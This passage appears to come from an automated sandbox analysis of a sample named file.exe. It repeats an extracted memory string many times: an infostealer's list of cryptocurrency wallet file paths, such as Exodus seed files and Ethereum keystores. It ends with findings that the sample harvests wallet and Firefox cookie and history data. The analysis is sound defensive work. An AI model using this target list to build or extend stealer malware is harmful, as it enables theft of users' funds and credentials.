Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
